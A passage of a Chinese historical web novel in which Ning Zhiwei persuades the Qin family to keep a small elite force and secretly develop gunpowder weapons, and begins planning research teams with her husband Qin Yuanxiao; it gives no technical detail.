宁芷薇嘴角微扬:“八哥不必担心,我自有计较。”她暗自思忖,界阙里的银两取之不尽,养一支精锐部队绰绰有余。更重要的是,她打算研制火药,在这武器还是冷铁的年代,火药的威力将会改变一切。 “我建议咱们不必养太多兵马,千人左右便够。”她缓缓道出自己的想法。 此言一出,堂内众人俱是一惊。 “九弟妹,千人如何够用?”秦雪松猛地站起身,茶盏被带得晃动,“前些时日蛮夷来犯,区区五百人就让我们手忙脚乱,若非...”他说到一半,突然收声。 “是啊,若遇大军来犯,千人如何抵挡?”秦韶轻也皱眉道。 宁芷薇不慌不忙,轻轻抿了一口茶:“若我能让一个士兵的战力抵得上百人呢?” 众人面面相觑,不明其意。唯有秦远霄若有所思,他想起了那日在东陲见识过的手雷威力,当时那一声巨响,震得山石崩裂,烟尘弥漫。 “薇薇,你是说......”秦远霄欲言又止,目光灼灼地看着妻子。 宁芷薇微微颔首:“我有办法制造威力强大的武器,到时候千人足矣。”她没有明说火药的事,但已经在暗示秦远霄。 堂外传来几声鸟鸣,打破了短暂的沉默。 “再者,人多未必是好事。”宁芷薇继续道,“若要大量招兵,难保不会混入奸细。一旦消息走漏,后果不堪设想。” 这番话让秦霆眼前一亮。确实,若要秘密养兵,人数越多越容易暴露。他看向宁芷薇的目光多了几分赞许。 “九弟妹说得有理。”秦霆抚须沉吟,“但这武器......” 宁芷薇正色道:“此事请父亲放心交给我和远霄。”她心中已有全盘计划,先让秦家子弟研制火药,以他们的忠诚,绝不会泄露。再暗中联络边境的旧部,组建精锐。 有了火药武器,千人便可抵万人之敌。更重要的是,人数少好控制,不易暴露。 秦远霄看着自己的妻子,心中涌起一股暖流。他知道,有这样一个聪慧果决的妻子在身边,秦家的未来便有了希望。 “父亲,请相信薇薇。”秦远霄坚定地说。 秦霆看着这对夫妻,缓缓点头。他知道,秦家的希望,或许就在这个聪慧的儿媳身上。 夜色渐深,堂外传来虫鸣声。宁芷薇站在廊下,望着天边的残月,心中思绪万千。 “在想什么?”秦远霄不知何时来到她身后。 宁芷薇转身,月光下,她的眼眸闪烁着异样的光芒:“我在想,如何才能让火药的威力最大化。” 秦远霄握住她的手:“你有什么想法?” “我准备让秦家子弟分成几组。”宁芷薇压低声音,“一组负责研究火药配方,一组负责制作容器,还要有人专门测试。” “这些人选......”